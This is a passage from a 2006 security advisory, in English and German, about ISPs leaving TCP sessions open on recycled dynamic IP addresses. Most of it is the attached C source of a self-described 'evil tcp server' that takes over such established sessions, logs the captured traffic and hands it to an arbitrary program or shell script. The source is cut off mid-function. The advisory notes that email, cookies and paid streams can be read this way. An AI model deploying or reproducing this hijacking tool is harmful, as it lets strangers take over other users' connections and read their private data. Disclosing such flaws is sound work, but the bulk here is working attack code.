state registered with the firewall and if the TCP flags do not match SYN, FIN, or RST, one can assume open connection and continue them. Interesting things have been captured, including, IRC chat sessions, HTTP downloads and POP3 sessions theoretically could also be continued. Software[1] written for BSD Unix follows this advisory, that can re-assume open sessions. >Fix: After a dynamic customer terminates a broadband connection, network access servers should terminate any TCP traffic with an RST reply, and give at least a minute time for any retransmissions to be caught. If this is not wanted by the network architect, perhaps a stateful firewall keeping states for customers per session. This is not a good solution though because some people do not want a firewall between their end-user connection and the open Internet, their privacy from this should be accepted. Another security programmer that I contacted, suggested that dynamic IP addresses perhaps be more static with end-users, but I personally don't think this is a good solution either as this puts the anonymity of end-users at stake, and goes against the philosophy of anonymity that the forefathers of the Internet thought out. On the consumers side one can protect themselves by only using encrypted communications, as this makes reading of personal data difficult. >Thank yous: Thanks to Daniel Hartmeier for his suggestions on how to remedy this. >Anniversaries: On this day 12 years ago, in 1994, Comet Shoemaker-Levy 9 first touched Jupiter and left considerable scars. When will humankind realise that nature has not ceased being your foe. Stop wasting resources warring each other and prepare against your true enemy, that being nature. Nature will never allow humankind to replace it as humankinds prime enemy. D> Deutsche Version D> Bericht von: Peter Philipp D> Organisation: Daemonic Networks D> Beschreibung: Vebraucher von Breitband Provider (ISP) koennten Hijack-Attacken erleben D> Einstufung: ernst D> Prioritaet: mittel D> Kategorie: Netzwerk Sicherung D> Klasse: Systematischer Fehler D> Detailierte Beschreibung: Manche ISP Netzwerke terminieren offene TCP Verbindungen nicht, von Kunden die entweder abgeschnitten vom ISP, oder selbst die Broadband Verbindung getrennt haben. Da es die eigene Verantwortung von jeder Person ist ihre eigenen TCP Verbindungen zu trennen, bevor sie ihr Breitband trennen oder den Computer abschalten, kann man nichts sagen. Aber wenn der ISP die Trennung iniziert ist es die Verantwortung des ISPs die offenen TCP Verbindungen auch zu trennen. Ein Kunde der auf einer wiederbenutzten Dynamischen IP Adresse stoesst, die offene TCP Verbindungen haelt, kann man die Verbindung weiter steuern und Private Daten ablesen. Mit MP3 Streaming von Online-Radio das auf Bezahlung ihre Musik teilt dies kann teuer werden. Auch mit Porn-Streaming. Weiter koennen unverschluesselte E-Mails gelesen werden und Web Cookies koennen Authentifizierte Web Verbindungen uebernehmen and Persoenliche Daten koennen gelesen werden. D> Wie zu wiederholen: Mit einer "stateful" Firewall kann man TCP Verbindungen/Packete aussortieren die keine registrierten "states" (zustaende) haben und die nicht die TCP Flaggen SYN, FIN oder RST besitzen. Somit kann die Verbindung weiter uebernommen werden (TCP Hijack). Interessante Dinge sind schon bereits abgelesen worden waerend der Demo-Software Implementierungs Phase, so wie IRC Chat, HTTP Verbindungen und theoretisch POP3 Verbindungen die nicht verschluesselt sind. Software[1] geschrieben auf BSD Unix ist am Ende dieser Nachricht angebunden, das diesen Fehler ausnuetzt. D> Behebung: Nachdem ein Dynamisch-IP nutzender Kunde die Breitband Verbindung trennt, sollten Netzwerk Access Server alle TCP Verbindungen/Packete trennen mit einem TCP RST die nach der Trennung noch vom Netz zu der IP fliessen. Wenigstens fuer eine Minute sollte kein neuer Kunde die IP Adressen uebernehmen um zu Garantieren das alle wiederholten TCP Transmissionen (engl. retransmissions) abgekuerzt werden koennen. Falls der angehoerige Netzwerk Architekt dies nicht bevorzugt fuer was-auch-immer Gruende, koennte eine Stateful Firewall einzelne Kunden-Verbindungen schuetzen. Dies ist nicht geraten da es Komplex ist und nicht die Privatsphaere des Verbrauchers schuetzt. Manche Kunden wollen auch keine Firewall zwischen ihnen und dem offenen Netz, und ihre wuensche sollten akzeptiert werden. Ein Security Programmierer mit dem ich Kontakt hatte, schlug vor das vielleicht Dynamische IP Adressen des Verbrauchers mehr Statisch gemacht werden, aber persoenlich denke ich das dies nicht eine Loesung ist. Es geht gegen die Internet Philosophie der Anonymitaet. Und koennte der Privatsphaere eines Breitband Kundens schaden. Einzelne Kunden koennen sich schuetzen mit Verschluesselten Protokollen, da es das lesen Privater Daten erschwert. D> Dankeschoens: Vielen dank zu Daniel Hartmeier fuer seine Hilfe Loesungen zu finden. D> An diesem Tag: An diesem Tag vor 12 Jahren, in 1994, beruehrte der Komet Shoemaker-Levy 9 zuerst den Planeten Jupiter und hinterlies betraechtliche Wunden. Wann wird die Menschheit einsehen das die Natur, unser eigentlicher Feind, nie besiegt wurde. Stoppt die Verschwenderei von Krieg gegen euch selber und macht euch bereit der Natur ins Auge zu sehen, wenn Sie kommt. Die Natur wird nie erlauben das der Mensch Sie vergisst als den groessten Feind der Menschheit. [1] /* * Copyright (c) 2006 Peter Philipp * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * this is an evil tcp server, it allows taking over states that are already * in the established state, based on mytcp */ #include <sys/param.h> #include <sys/socket.h> #ifdef __OpenBSD__ #include <sys/timeout.h> #endif #include <sys/time.h> #include <sys/wait.h> #include <sys/sysctl.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <net/if.h> #include <net/if_tun.h> #include <net/if_arp.h> #include <net/ethertypes.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_var.h> #include <netinet/ip_icmp.h> #include <netinet/if_ether.h> #define TCPSTATES #include <netinet/tcp_fsm.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_seq.h> #include <netinet/tcp.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <pcap.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <pwd.h> /* #include "pjp.h" */ #ifndef TCPS_RESET #define TCPS_RESET 11 #endif #define POINT_A "192.168.0.1" #define POINT_B "192.168.0.2" #define NETMASK "255.255.255.0" #define POINT_C "192.168.1.1" int schedfin = 0; int sigpipe = 0; u_int16_t win = 0x4000; int blast = 1; pcap_t *p; /* unfortunate */ int clogger; /* XXX */ char *exec_prog = "/bin/date"; const u_int32_t gaf = AF_INET; char *script = NULL; int use_script = 0; char *pointa = POINT_A , *pointb = POINT_B; char *netmask = NETMASK; int run_privileged = 0; u_char mymac[ETHER_ADDR_LEN]; u_char routermac[ETHER_ADDR_LEN]; u_char broadcastmac[ETHER_ADDR_LEN]; in_addr_t myip; in_addr_t routerip; extern char **environ; struct sess { int raw; /* XXX */ int state; /* state of socket */ int fd; /* socketpair end */ u_int16_t mss; /* MSS of remote */ u_int32_t ack; /* connection ack */ u_int32_t seq; /* connection seq */ in_addr_t remote; /* remote ip */ in_addr_t local; /* local ip */ u_short rport; /* remote port */ u_short lport; /* local port */ u_int8_t ttl; /* TTL XXX */ time_t syntime; /* replied syn timer */ time_t last_used; /* last time this was used */ int sigpipe; /* received a pipe */ char *data; /* data read */ pid_t child; /* script child */ int totallen; /* total data read */ int len; /* data read len */ struct sess *previous; /* previous */ struct sess *next; /* next */ }; /* prototypes */ u_int16_t ip_cksum(u_int16_t *p, int len); u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip); void handler(int fd, u_char *data, int len, u_char *session); void reply_arp(int fd, u_char *data, int len); void synack(struct sess*); void send_ack(struct sess*, u_int8_t, int); void onpipe(int); void onchld(int); void onalrm(int); void print_state(int); void sendfin(struct sess *s); void get_data(struct sess *, u_char *, int); int get_ifmtu(char *name); int clog_port(void); int send_push(struct sess *, u_int8_t, char *, int); int set_ip4header(struct ip *ip, struct ip *hints); int oursocket(struct sess *, struct ip *, struct tcphdr *); int open_raw(int proto); u_long inc_seq(u_long seq, int inc); int open_tunnel(void); int open_tun(char *name, int len); int set_tunmode(int fd, int mode); int check_tundev(int fd); int del_ifip(char *name, char *ip); int set_ifip(char *name, char *, char *, int af); int set_ifpop(char *name, char *point1, char *point2, char *netmask); short get_ifflags(char *name); int set_ifflags(char *name, short flags); int set_ifup(char *name); int set_ifdown(char *name); int set_ifmtu(char *name, int mtu); int get_ifmtu(char *name); in_addr_t get_ifaddr(char *name); void reply_icmp(int, char *, int); void arplookup(int); int write_frame(int, char *, int); /* mainly nonsense */ int main(int argc, char *argv[]) { pid_t pid; int fd[2]; int status; int logfd; char *logfile = "/root/eviltcp.log"; struct bpf_program bp; struct sess SESSION; struct sess *init_pcb; struct sess *cur_pcb; struct sess *tmp_pcb; int mode, rlen; int i; char *interface = "lo0"; char *buf, *port = "80"; char *buf2; char compile_str[512]; int mtu; int sfd; u_char tbuf[2000]; int len; struct in_addr dummy; char *safe_data, *p; memset(broadcastmac, 0xff, sizeof(broadcastmac)); while ((i = getopt(argc, argv, "a:b:c:i:l:n:p:r:s:P")) != -1) { switch (i) { case 'l': logfile = optarg; break; case 'a': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag a: invalid address %s\n", optarg); exit(1); } pointa = optarg; myip = inet_addr(pointa); mymac[0] = 0; memcpy ((char *)&mymac[1], (char *)&myip, sizeof(u_int32_t)); mymac[5] = 0x1; break; case 'b': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag b: invalid address %s\n", optarg); exit(1); } pointb = optarg; break; case 'n': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag n: invalid netmask %s\n", optarg); exit(1); } netmask = optarg; break; case 'c': exec_prog = optarg; break; case 'i': interface = optarg; break; case 'p': port = optarg; break; case 'r': routerip = inet_addr(optarg); break; case 's': script = optarg; use_script = 1; break; case 'P': run_privileged = 1; break; default: exit(1); break; } } chdir("/"); #if 0 if ((mtu = get_ifmtu(interface)) < 0 || mtu > 1500) mtu = 1500; /* set some default */ #endif mtu = 1500; mtu -= (sizeof(u_int32_t) + sizeof(struct ip) + sizeof(struct tcphdr)); if ((buf = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } if ((buf2 = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } signal(SIGPIPE, onpipe); signal(SIGCHLD, onchld); signal(SIGALRM, onalrm); memset(&SESSION, 0, sizeof(SESSION)); sfd = open_tunnel(); /* find out our router's MAC address */ arplookup(sfd); /* initialize first pcb's */ if ((init_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); exit(1); } init_pcb->state = TCPS_LISTEN; /* initial in listen state */ init_pcb->next = NULL; /* end of chain */ #if 0 if ((init_pcb->raw = open_raw(IPPROTO_RAW)) < 0) { perror("open_raw"); exit(1); } #endif init_pcb->raw = sfd; if (mode = fcntl(sfd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(sfd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); daemon(0,0); /* mainloop */ for (;;) { for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { switch (cur_pcb->state) { case TCPS_LISTEN: /* NOOP */ break; case TCPS_ESTABLISHED: /* do needed processing */ if (cur_pcb->len > 0) { #if 0 printf("writing %d bytes\n", cur_pcb->len); #endif if (use_script) { safe_data = malloc(cur_pcb->len); if (safe_data != NULL) { memcpy(safe_data, cur_pcb->data, cur_pcb->len); p = safe_data; for (i = 0; i < cur_pcb->len; i++) { if (*p == '`' || *p == '$') { *p = '.'; } p++; } errno = 0; if (write(cur_pcb->fd, safe_data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } free(safe_data); } } else { errno = 0; if (write(cur_pcb->fd, cur_pcb->data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } } logfd = open(logfile, O_CREAT | O_APPEND | O_WRONLY | O_EXLOCK, 0600); if (logfd != -1) { write(logfd, cur_pcb->data, cur_pcb->len); close(logfd); } /* update our ack as we wrote the data to the application */ cur_pcb->ack = inc_seq(cur_pcb->ack, cur_pcb->len); send_ack(cur_pcb, TH_ACK, cur_pcb->ack); /* XXX */ cur_pcb->last_used = time(NULL); free (cur_pcb->data); cur_pcb->data = NULL; cur_pcb->totallen += cur_pcb->len; cur_pcb->len = 0; } errno = 0; if ((rlen = recv(cur_pcb->fd, buf, mtu, 0)) < 0) { if (errno == EWOULDBLOCK) { #if 0 printf("blocked on input breaking out\n"); #endif break; } perror("recv"); break; } if (rlen == 0) { /* * send a fin only if we had written * data before and there ain't nothing * coming back */ if (cur_pcb->totallen) { /* send fin */ sendfin(cur_pcb); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif } break; } if (recv(cur_pcb->fd, buf2, mtu, MSG_PEEK) == 0) { #if 0 printf("peeked and ending conn\n"); #endif while (send_push(cur_pcb, TH_FIN, buf, rlen) < 0) ; cur_pcb->last_used = time(NULL); cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif break; } /* else */ while (send_push(cur_pcb, 0, buf, rlen) < 0) ; cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->last_used = time(NULL); break; case TCPS_FIN_WAIT_1: /* active close do nothing */ break; case TCPS_FIN_WAIT_2: /* this is another do nothing unfortunately */ break; case TCPS_TIME_WAIT: /* we're on the timeout list ignore */ break; case TCPS_CLOSE_WAIT: /* we've received a FIN, send ack, send fin */ /* send ack */ /* send fin */ cur_pcb->state = TCPS_LAST_ACK; #if 0 printf("pcb %x state now LAST_ACK\n", cur_pcb); #endif break; case TCPS_RESET: /* send reset */ cur_pcb->state = TCPS_CLOSED; #if 0 printf("pcb %x state now CLOSED\n", cur_pcb); #endif break; case TCPS_CLOSED: /* this socket is closed remove it */ break; } } errno = 0; if ((len = read(sfd, tbuf, sizeof(tbuf))) < 0) { if (errno != EWOULDBLOCK) perror("read"); goto end; } if (len > 0) handler(sfd, tbuf, len, (u_char*)init_pcb); end: usleep(500); for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { time_t now; now = time(NULL); if (difftime(now, cur_pcb->last_used) >= 300) { close(cur_pcb->fd); kill(cur_pcb->child, SIGTERM); cur_pcb->next->previous = cur_pcb->previous; if (cur_pcb->previous != NULL) { cur_pcb->previous->next = cur_pcb->next; tmp_pcb = cur_pcb; cur_pcb = cur_pcb->next; free(tmp_pcb); } else { free(cur_pcb); break; } } } } /* NOTREACHED */ } void handler(int sfd, u_char *data, int len, u_char *session) { struct ip *ip; struct tcphdr *tcp; struct sess *s; struct ether_header *eh = (struct ether_header *)data; struct sess *init_pcb; struct sess *cur_pcb, *next_pcb; int optlen; int i, raw; int mode; int fd[2]; char *prog; uid_t uid; struct passwd *pw; pid_t pid; #if 0 printf("in handler\n"); #endif s = (struct sess *) session; init_pcb = (struct sess *)session; raw = s->raw; if (ntohs(eh->ether_type) == ETHERTYPE_ARP) { reply_arp(sfd, data, len); return; } if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 || (eh->ether_dhost[0] & 0x1 == 0x1) || (ntohs(eh->ether_type) != ETHERTYPE_IP )) { /* not an ip or arp frame, or destined for broadcast/multicast */ return; } data += sizeof(struct ether_header); len -= sizeof(struct ether_header); if (len < sizeof(struct ip)) { return; } #if 0 printf("recieved packet\n"); for (i=0; i< len; i++) { printf("%02x", data[i] & 0xff); if (i && i % 16 == 0) printf("\n"); } printf("\n"); #endif ip = (struct ip *)data; /* IP options not recognized */ if (ip->ip_hl << 2 != sizeof(struct ip)) return; if (ip_cksum((u_int16_t *)ip, sizeof(struct ip)) != 0) return; if (ip->ip_v != IPVERSION) return; if (ip->ip_p == IPPROTO_ICMP) { reply_icmp(sfd, data, len); return; } if (ip->ip_p != IPPROTO_TCP) { return; } data += sizeof(struct ip); len -= sizeof(struct ip); if (len < sizeof(struct tcphdr)) return; tcp = (struct tcphdr*)data; data += sizeof(struct tcphdr); len -= sizeof(struct tcphdr); /* we only want to process foreign packets, our own is irrelevant */ if (ip->ip_src.s_addr == s->local && tcp->th_sport == s->lport) return; /* checksum tcp header */ if (tcp_cksum((u_int16_t *)tcp, len + sizeof(struct tcphdr), ip) != 0) return; /* pullup options */ if ((optlen = ((tcp->th_off << 2) - sizeof(struct tcphdr))) > 0) { if (optlen > len) return; data += optlen; len -= optlen; } #if 0 printf("len now = %d\n", len); #endif /* find corresponding PCB */ for (cur_pcb = init_pcb; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { if (cur_pcb->local == ip->ip_dst.s_addr && cur_pcb->remote == ip->ip_src.s_addr && cur_pcb->lport == tcp->th_dport && cur_pcb->rport == tcp->th_sport) { /* we have one such pcb in our list */ break; } } if (cur_pcb == NULL) { #if 0 printf("creating new pcb\n"); #endif /* create new pcb and attach at front of chain */ if ((cur_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); /* oh dear */ } if ((tcp->th_flags & TH_FIN) == TH_FIN || (tcp->th_flags & TH_RST) == TH_RST || (tcp->th_flags & TH_SYN) == TH_SYN) { /* send rst, not for us */ free(cur_pcb); return; } cur_pcb->next = init_pcb; cur_pcb->previous = NULL; init_pcb->previous = cur_pcb; cur_pcb->state = TCPS_ESTABLISHED; cur_pcb->local = ip->ip_dst.s_addr; cur_pcb->remote = ip->ip_src.s_addr; cur_pcb->lport = tcp->th_dport; cur_pcb->rport = tcp->th_sport; cur_pcb->seq = tcp->th_ack; cur_pcb->ack = tcp->th_seq; cur_pcb->raw = init_pcb->raw; if (socketpair(AF_UNIX, SOCK_STREAM, 0, (int *)&fd) < 0) { perror("socketpair"); return; } switch (pid = fork()) { case -1: perror("fork"); return; case 0: /* drop privileges */ pw = getpwnam("nobody"); if (pw != NULL) { uid = pw->pw_uid; } else { uid = -1; } if (! run_privileged ) setresuid(uid, uid, uid); /* child */ /* XXX */ close(fd[0]); dup2(fd[1], STDIN_FILENO); dup2(fd[1], STDOUT_FILENO); close(fd[1]); { char tbuf[512]; snprintf(tbuf, sizeof(tbuf), "EVILTCP_TTL=%d", cur_pcb->ttl); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCIP=%s", inet_ntoa(cur_pcb->remote)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTIP=%s", inet_ntoa(cur_pcb->local)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCPORT=%u", ntohs(cur_pcb->rport)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTPORT=%u", ntohs(cur_pcb->lport)); putenv(tbuf); } prog = strrchr(exec_prog, '/'); prog++; if (use_script) { execle("/bin/sh", "sh", "-c", script, NULL, environ); } else { execle(exec_prog, prog, NULL, environ); } perror("execl"); exit(1); default: close(fd[1]); cur_pcb->fd = dup(fd[0]); cur_pcb->child = pid; close(fd[0]); if (mode = fcntl(cur_pcb->fd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(cur_pcb->fd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); break; } #if 0 printf("pcb %x state now SYN_RECEIVED\n", cur_pcb); #endif /* init_pcb = cur_pcb; */ #if 0 return; /* no need to go further */ #endif } cur_pcb->last_used = time(NULL); #if 0 printf("pcb %x state: ", cur_pcb); print_state(cur_pcb->state); #endif switch (cur_pcb->state) { case TCPS_LISTEN: break; case TCPS_ESTABLISHED: if (len <= 0) break; get_data(cur_pcb, data, len); /* XXX */ #if 0 printf("cur_pcb->len = %d\n", cur_pcb->len); #endif break; /* * Remember, any and all packets can come in unordered, XXX * good thing there is retransmissions */ case TCPS_FIN_WAIT_1: if (tcp->th_flags == TH_ACK && tcp->th_ack == inc_seq(cur_pcb->seq, 1)) { cur_pcb->seq = inc_seq(cur_pcb->seq, 1); cur_pcb->state = TCPS_FIN_WAIT_2; #if 0 printf("pcb %x state now FIN_WAIT_2\n", cur_pcb); #endif } break; case TCPS_FIN_WAIT_2: if (tcp->th_flags & (TH_FIN | TH_ACK) != (TH_FIN | TH_ACK)) { /* reset ? */ } /* * XXX, got FIN ack it, this is the only time that we send * any packet in the handler */ // cur_pcb->ack = inc_seq(cur_pcb->ack, 1); send_ack(cur_pcb, TH_RST, cur_pcb->ack); cur_pcb->last_used = time(NULL); cur_pcb->state = TCPS_TIME_WAIT; #if 0 printf("pcb %x state now TIME_WAIT\n", cur_pcb); #endif break; default: break; } return; } void synack(struct sess *s) { send_ack(s, TH_SYN | TH_ACK, inc_seq(s->ack, 1)); s->last_used = time(NULL); return; } void send_ack(struct sess *sess, u_int8_t flags, int inc) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = inc; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_ACK | (flags); new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = sess->remote; #if 0 for (i = 0; i < sizeof(buf); i++) { printf("%02x", buf[i] & 0xff); if (i && i % 16 == 0) { printf("\n"); } } printf("\n"); #endif if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 1"); } } /* * A good idea to disable functionality of a port */ int clog_port(void) { struct sockaddr_in sin; int s; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { perror("socket"); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("172.16.0.2"); if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0) { perror("bind"); return -1; } return s; } void print_state(int state) { if (state == TCPS_RESET) return; printf("state = %s\n", tcpstates[state]); return; } u_long inc_seq(u_long seq, int inc) { int _seq; _seq = ntohl(seq); _seq += inc; return(htonl(_seq)); } void sendfin(struct sess *sess) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_FIN | TH_ACK; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 2"); } } void onpipe(int nono) { sigpipe = 0; } void onalrm(int non) { return; } void onchld(int nono) { int status; while (waitpid(0, &status, WNOHANG) > 0) ; /* sigpipe = 1; */ } int oursocket(struct sess *s, struct ip *ip, struct tcphdr *tcp) { if (s->rport != tcp->th_sport || s->lport != tcp->th_dport || s->remote != ip->ip_src.s_addr || s->local != ip->ip_dst.s_addr) return -1; return 0; } int send_push(struct sess *sess, u_int8_t flags, char *data, int datalen) { u_char *buf; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i, newlen; u_int32_t *af; s = sess->raw; newlen = sizeof(struct ip) + sizeof(struct tcphdr) + datalen; buf = calloc(1, newlen); if (buf == NULL) { perror("calloc"); return; } #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr *)&buf[sizeof(struct ip)]; memcpy((char*)(buf + sizeof(struct ip) + sizeof(struct tcphdr)),data, datalen); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(newlen); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_PUSH | TH_ACK | flags; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr) + datalen, new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, newlen) < 0) { perror("write_frame 3"); free(buf); return -1; } free(buf); return 0; } /* ----------------------------------- IMPORTED ----------------------- */ /* BEGIN ip_cksum */ /* * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit * numbers */ u_int16_t ip_cksum(u_int16_t *p, int len) { register int nleft = len; register u_int16_t *w = p; register int sum = 0; u_int16_t answer; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /* END ip_cksum */ /* BEGIN tcp_cksum */ /* * TCP_CKSUM - compute the checksum with a pseudo header of the IP packet * */ u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip) { union { struct ph { in_addr_t src; in_addr_t dst; u_int8_t pad; u_int8_t proto; u_int16_t len; } s; u_int16_t i[6]; } ph; register int nleft = len; register u_int16_t *w = &ph.i[0]; register int sum; memcpy(&ph.s.src, &ip->ip_src.s_addr, sizeof(in_addr_t)); memcpy(&ph.s.dst, &ip->ip_dst.s_addr, sizeof(in_addr_t)); ph.s.pad = 0; ph.s.proto = ip->ip_p; ph.s.len = htons(len); sum = w[0] + w[1] + w[2] + w[3] + w[4] + w[5]; w = addr; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { sum += htons((*(const char *)w) << 8); } while (sum > 0xffff) sum = (sum & 0xffff) + (sum >> 16); sum = ~sum & 0xffff; return (sum); } /* END tcp_cksum */ /* BEGIN get_ifmtu */ /* * GET_IFMTU - get the specified MTU of the interface, -1 on error */ int get_ifmtu(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return (ifr.ifr_mtu); } /* END get_ifmtu */ /* BEGIN set_ip4header */ /* * SET_IP4HEADER - configures the IP header based on a set of hints * returns -1 on error */ int set_ip4header(struct ip *ip, struct ip *hints) { int fh = 0; /* free hints */ struct ip *_hints; if (hints) _hints = hints; else { _hints = (struct ip *)calloc(1, sizeof(struct ip)); fh = 1; } ip->ip_v = (_hints->ip_v != 0) ? _hints->ip_v : IPVERSION; ip->ip_hl = (_hints->ip_v != 